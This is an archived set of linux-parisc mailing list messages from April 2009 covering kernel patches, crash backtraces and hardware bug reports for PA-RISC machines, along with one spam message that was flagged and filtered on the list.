> >  [<1035c608>] cdrom_newpc_intr+0x178/0x46c
> >  [<1034c494>] ide_intr+0x1b0/0x214
> >  [<1016d284>] handle_IRQ_event+0x70/0x150
> >  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
> >  [<102f7864>] superio_interrupt+0x88/0xbc
> >  [<1016d284>] handle_IRQ_event+0x70/0x150
> >  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
> >  [<10112efc>] do_cpu_irq_mask+0x9c/0xd0
> >  [<10116068>] intr_return+0x0/0x4
> > 
> > This crash seems to happen due to an uninitialized variable "rc".
> > The compiler even warns about that:
> >   CC      drivers/ide/ide-cd.o                                                         
> > /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c: In function `cdrom_newpc_intr':
> > /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c:612: warning: `rc' might be used uninitialized in this function
> > 
> > After applying the trivial patch below, which just initializes 
> > the variable to zero, the kernel doesn't crash any longer:
> > 
> > Starting the hotplug events dispatcher: udevd.
> > Synthesizing the initial hotplug events...
> > hda: command error: status=0x51 { DriveReady SeekComplete Error }
> > hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
> > ide: failed opcode was: unknown
> > done.
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> Acked-by: Borislav Petkov <petkovbb@gmail.com>
> 
> The original fix was correct. Helge, sorry for the delay but I wanted to
> make sure that this wasn't caused by recent rewrite in another area of
> ide-cd, thanks.
> 
> Bart, please apply.

Ok, done!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Wed, 22 Apr 2009 23:13:12 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <49EF8868.4050308@gmx.de>
References: <49E6638B.8090700@gmx.de> <20090416063735.GA21742@liondog.tnic> <49E7945E.7030508@gmx.de> <20090417065344.GC6806@liondog.tnic> <49E82C8F.5060202@gmx.de> <20090422061253.GB22451@liondog.tnic>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240434823 29269 80.91.229.12 (22 Apr 2009 21:13:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Apr 2009 21:13:43 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: petkovbb@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 22 23:15:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LwjmQ-00063F-4Y
	for glpp-linux-parisc@gmane.org; Wed, 22 Apr 2009 23:14:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756175AbZDVVNT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Apr 2009 17:13:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754323AbZDVVNS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Apr 2009 17:13:18 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:39867 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756175AbZDVVNS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Apr 2009 17:13:18 -0400
Original-Received: (qmail invoked by alias); 22 Apr 2009 21:13:15 -0000
Original-Received: from mnhm-590d3100.pool.einsundeins.de (EHLO [192.168.178.60]) [89.13.49.0]
  by mail.gmx.net (mp037) with SMTP; 22 Apr 2009 23:13:15 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/NhfNEhi/N8d5ujCQE0FnXrJ5U/kb2552RmrsguU
	fLkGp+nCSgGHcv
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090422061253.GB22451@liondog.tnic>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1565>

Borislav Petkov wrote:
> On Fri, Apr 17, 2009 at 09:15:27AM +0200, Helge Deller wrote:
> [..]
>>>> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
>>> What do you mean by that, please elaborate?
>> I meant:
>> a) Without my patch the kernel did crash (see backtrace in original mail)
>> b) with my patch the kernel booted to login prompt, but I got those messages on the console:
>>  hda: command error: status=0x51 { DriveReady SeekComplete Error }
>>  hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
>>  ide: failed opcode was: unknown
>> Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
>> this could even be because of the parisc superio driver...
> 
> Is it possible to isolate it and test without the superio driver?

No, since the superio controller provides the IDE ports.

Best regards,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 6/7] parisc: add parameter to read_cr16()
Date: Wed, 22 Apr 2009 23:39:26 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <49EF8E8E.10104@gmx.de>
References: <49EF6AAE.5000207@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240436393 1843 80.91.229.12 (22 Apr 2009 21:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Apr 2009 21:39:53 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>, Ingo Molnar <mingo@elte.hu>
To: coly.li@suse.de, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 22 23:41:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LwkBi-0006wK-91
	for glpp-linux-parisc@gmane.org; Wed, 22 Apr 2009 23:41:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753856AbZDVVjb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Apr 2009 17:39:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753706AbZDVVjb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Apr 2009 17:39:31 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:53700 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752862AbZDVVja (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Apr 2009 17:39:30 -0400
Original-Received: (qmail invoked by alias); 22 Apr 2009 21:39:28 -0000
Original-Received: from mnhm-590d3100.pool.einsundeins.de (EHLO [192.168.178.60]) [89.13.49.0]
  by mail.gmx.net (mp067) with SMTP; 22 Apr 2009 23:39:28 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19lAvg8r7NldjXWlCu3OBZi4mI42V+aTSSFtXMQcH
	5JDIBpAhvjpZNU
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <49EF6AAE.5000207@suse.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1566 gmane.linux.kernel:826220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1566>

Coly Li wrote:
> This patch modifies parameter of au1x_counter1_read() from 'void' to 'struct
> clocksource *cs', which fixes compile warning for incompatible parameter type.
> 
> Signed-off-by: Coly Li <coly.li@suse.de>
> Cc: Helge Deller <deller@gmx.de>

Patch is good.
Thanks!

Acked-by: Helge Deller <deller@gmx.de>


> Cc: Ingo Molnar <mingo@elte.hu>
> ---
>  arch/parisc/kernel/time.c |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index d4dd056..d97d07f 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -173,7 +173,7 @@ EXPORT_SYMBOL(profile_pc);
> 
>  /* clock source code */
> 
> -static cycle_t read_cr16(void)
> +static cycle_t read_cr16(struct clocksource *cs)
>  {
>  	return get_cycles();
>  }
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Caspar Smith" <bolidas@ku.edu.tr>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: 90% of men  arent satisfied with size
Date: Thu, 23 Apr 2009 01:01:56 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <20090423010156.5060403@ku.edu.tr>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240467593 8634 80.91.229.12 (23 Apr 2009 06:19:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Apr 2009 06:19:53 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 23 08:21:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LwsJ2-000618-83
	for glpp-linux-parisc@gmane.org; Thu, 23 Apr 2009 08:21:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753269AbZDWGTk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Apr 2009 02:19:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753637AbZDWGTk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 23 Apr 2009 02:19:40 -0400
Original-Received: from [67.213.33.67] ([67.213.33.67]:2078 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1753269AbZDWGTk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Apr 2009 02:19:40 -0400
Original-Received: from daw ([219.106.176.151]) by wergvan with Microsoft SMTPSVC(5.0.2195.6713); Thu, 23 Apr 2009 01:01:56 -0600
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 17.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?67.213.33.67>]
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [67.213.33.67 listed in sbl-xbl.spamhaus.org]
 *  2.0 URIBL_AB_SURBL Contains an URL listed in the AB SURBL blocklist
 *      [URIs: tangyhumor.com]
 *  0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: tangyhumor.com]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: tangyhumor.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1567 gmane.spam.detected:4368371
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1567>

Medications for consumers and medical health professionals. 
http://wt.tangyhumor.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Thu, 23 Apr 2009 23:34:54 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <200904232334.55231.bzolnier@gmail.com>
References: <49E6638B.8090700@gmx.de> <20090422061253.GB22451@liondog.tnic> <49EF8868.4050308@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240522253 4751 80.91.229.12 (23 Apr 2009 21:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Apr 2009 21:30:53 +0000 (UTC)
Cc: petkovbb@gmail.com, Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 23 23:32:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lx6WU-00043s-Lz
	for glpp-linux-parisc@gmane.org; Thu, 23 Apr 2009 23:31:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756263AbZDWVa3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Apr 2009 17:30:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758047AbZDWVa3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 23 Apr 2009 17:30:29 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:47038 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756263AbZDWVa2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Apr 2009 17:30:28 -0400
Original-Received: by fxm2 with SMTP id 2so790399fxm.37
        for <linux-parisc@vger.kernel.org>; Thu, 23 Apr 2009 14:30:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=0RpPVRAp8SAkalqPGCk1IUI8rlfSEbaIGblRjqc0Txo=;
        b=ZeacSxQL213jaEPw50C630awtve3cyr363wMnPou4A7VjdDd5ZN9YhZz50TxdThKds
         QJRq87K+DFScWty1ZyH04ZgNrnH5rsWc10vobgZ86roZWN5om8ventP/M9U8FK/XNGEK
         kTNIkiugwEIqitTrgJLtW9pqJs64Cr2ARLLis=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=wSfcdvRbf9kVkCiNcmLzmxlG3wy8VxU2vg1xd5+KpyCht+eZcXtcom/u7tz4jsKhbe
         LdQNPaU1Eq4Gvo2sb62iVMiWfLuR3x6tLud7P42xtS7mqLPcecZ4MF1e7m+Uyl66uImr
         9pp5833zaxxXrFNzgasJVHjmWUjy+CZEaQVpg=
Original-Received: by 10.103.107.1 with SMTP id j1mr875637mum.30.1240522226434;
        Thu, 23 Apr 2009 14:30:26 -0700 (PDT)
Original-Received: from localhost.localdomain (chello089077051219.chello.pl [89.77.51.219])
        by mx.google.com with ESMTPS id e10sm1175367muf.16.2009.04.23.14.30.25
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 23 Apr 2009 14:30:25 -0700 (PDT)
User-Agent: KMail/1.11.2 (Linux/2.6.29-next-20090403; KDE/4.2.2; i686; ; )
In-Reply-To: <49EF8868.4050308@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1568
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1568>

On Wednesday 22 April 2009 23:13:12 Helge Deller wrote:
> Borislav Petkov wrote:
> > On Fri, Apr 17, 2009 at 09:15:27AM +0200, Helge Deller wrote:
> > [..]
> >>>> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
> >>> What do you mean by that, please elaborate?
> >> I meant:
> >> a) Without my patch the kernel did crash (see backtrace in original mail)
> >> b) with my patch the kernel booted to login prompt, but I got those messages on the console:
> >>  hda: command error: status=0x51 { DriveReady SeekComplete Error }
> >>  hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
> >>  ide: failed opcode was: unknown
> >> Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
> >> this could even be because of the parisc superio driver...
> > 
> > Is it possible to isolate it and test without the superio driver?
> 
> No, since the superio controller provides the IDE ports.

Is 2.6.29 working ok?  What about 2.6.30-rc1 + your fix?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick.leippe@whitecanyon.com>
Newsgroups: gmane.linux.ports.parisc
Subject: SMP: CPU:1 is stuck. on J6750
Date: Fri, 24 Apr 2009 09:15:44 -0600
Organization: White Canyon
Lines: 83
Approved: news@gmane.org
Message-ID: <200904240915.44386.nick.leippe@whitecanyon.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240586531 16706 80.91.229.12 (24 Apr 2009 15:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Apr 2009 15:22:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 24 17:23:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LxNFJ-0001EM-9w
	for glpp-linux-parisc@gmane.org; Fri, 24 Apr 2009 17:23:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755236AbZDXPVx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Apr 2009 11:21:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755082AbZDXPVx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 24 Apr 2009 11:21:53 -0400
Original-Received: from whitecanyon.com ([128.121.79.96]:4137 "EHLO whitecanyon.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753295AbZDXPVw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Apr 2009 11:21:52 -0400
X-Greylist: delayed 308 seconds by postgrey-1.27 at vger.kernel.org; Fri, 24 Apr 2009 11:21:52 EDT
Original-Received: from wylee.localnet ([67.214.225.122])
	(authenticated bits=0)
	by whitecanyon.com (8.13.6.20060614/8.13.6) with ESMTP id n3OFGhbV074628
	for <linux-parisc@vger.kernel.org>; Fri, 24 Apr 2009 15:16:43 GMT
User-Agent: KMail/1.11.2 (Linux/2.6.29-gentoo-r1; KDE/4.2.2; x86_64; ; )
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1569>

There were some posts about this, the most recent is:

http://marc.info/?l=linux-parisc&m=121009166228271&w=2

I'm still experiencing this issue on a J6750.
I've gotten this w/kernels 2.6.26 thru 2.6.29.
Other than the missing cpu, things seem to function just fine.
Increasing the timeout in smp.c line 410 to 100000 did not help.

Beginning of dmesg:

Linux version 2.6.29-gentoo-r1 (root@hppa32_build) (gcc version 4.2.4 (Gentoo 
4.2.4 p1.0)) #2 SMP Fri Apr 24 08:50:02 MD
T 2009
unwind_init: start = 0x406cdfe4, end = 0x4070a964, entries = 15512
WARNING: Out of order unwind entry! 00000000406d0234 and 00000000406d0244
WARNING: Out of order unwind entry! 00000000406d0244 and 00000000406d0254
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dd0 00000491 00000000 00000002 77a74184 100000f0 00000008 000000b2 
000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/J6750
Total Memory: 3840 MB
On node 0 totalpages: 983040
free_area_init_node: node 0, pgdat 4073d040, node_mem_map 40faf000
  Normal zone: 13440 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 969600 pages, LIFO batch:31
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
Kernel command line: root=/dev/md1 raid=noautodetect md=1,/dev/sda4 
md=d0,/dev/sda3 console=tty0 sti=10/4/2/0 sti_font=V
GA8x16 palo_kernel=2/vmlinux-2.6.29-r1b
md: Will configure md1 (super-block) from /dev/sda4, below.
md: Will configure md0 (super-block) from /dev/sda3, below.
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
console handover: boot [ttyB0] -> real [tty0]
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 3855616k/3932160k available (4971k kernel code, 76080k reserved, 1884k 
data, 236k init)
Calibrating delay loop... 1743.25 BogoMIPS (lpj=8716288)
Security Framework initialized
Mount-cache hash table entries: 256
Brought up 1 CPUs
net_namespace: 560 bytes
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Duet W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dd, 0x00004 }
7. Duet W2 at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5dd, 0x00004 }
8. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x00a, 0x00009 }
Enabling regular chassis codes support v0.05
Releasing cpu 1 now, hpa=fffffffffffa2000
SMP: CPU:1 is stuck.
CPU(s): 2 x PA8700 (PCX-W2) at 875.000000 MHz

[cut]


I'm happy to test patches and to provide more information to help.

-- 
Nicholas Leippe

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: SuperStrangeDome
Date: Sat, 25 Apr 2009 10:33:51 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20090425083351.GA5661@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1240651780 10579 80.91.229.12 (25 Apr 2009 09:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2009 09:29:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 25 11:31:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LxeDq-0006Kz-QM
	for glpp-linux-parisc@gmane.org; Sat, 25 Apr 2009 11:30:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753127AbZDYJ2z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Apr 2009 05:28:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755964AbZDYJ2y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 25 Apr 2009 05:28:54 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:34965 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753127AbZDYJ2y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Apr 2009 05:28:54 -0400
X-Greylist: delayed 3295 seconds by postgrey-1.27 at vger.kernel.org; Sat, 25 Apr 2009 05:28:53 EDT
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1LxdKf-0002he-00
	for linux-parisc@vger.kernel.org; Sat, 25 Apr 2009 10:33:57 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id A213CC339D; Sat, 25 Apr 2009 10:33:51 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1570>

Hi,

I found some spare time to continue hacking Madze's superdome. With
some really strange hacks (see below) I'm now able to see a successful
mount of a root filesystem over NFS, but no sign of userspace yet.

The strange hacks have to do with output to console and timing.
Here is a list of things I've added to get both partitions up to
the point mounting NFS root:

1. add 50 dummy prinkts after print_parisc_devices()
2. do a while (pdc_iodc_getc() != 'a') in iosapic.c after dumping
   Interrupt Routing Table (only needed if DEBUG_IOSAPIC_IRT is
   enabled)
3. do a while (pdc_iodc_getc() != 'b') in lba_hw_init before touching
   anything
4. carefull press a and b during boot. I need to press b for every
   found Elroy. If I'm too fast the partition locks up

Does this ring any bells ? Looks like a very timing sensitive thing,
but what could be the cause of it ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
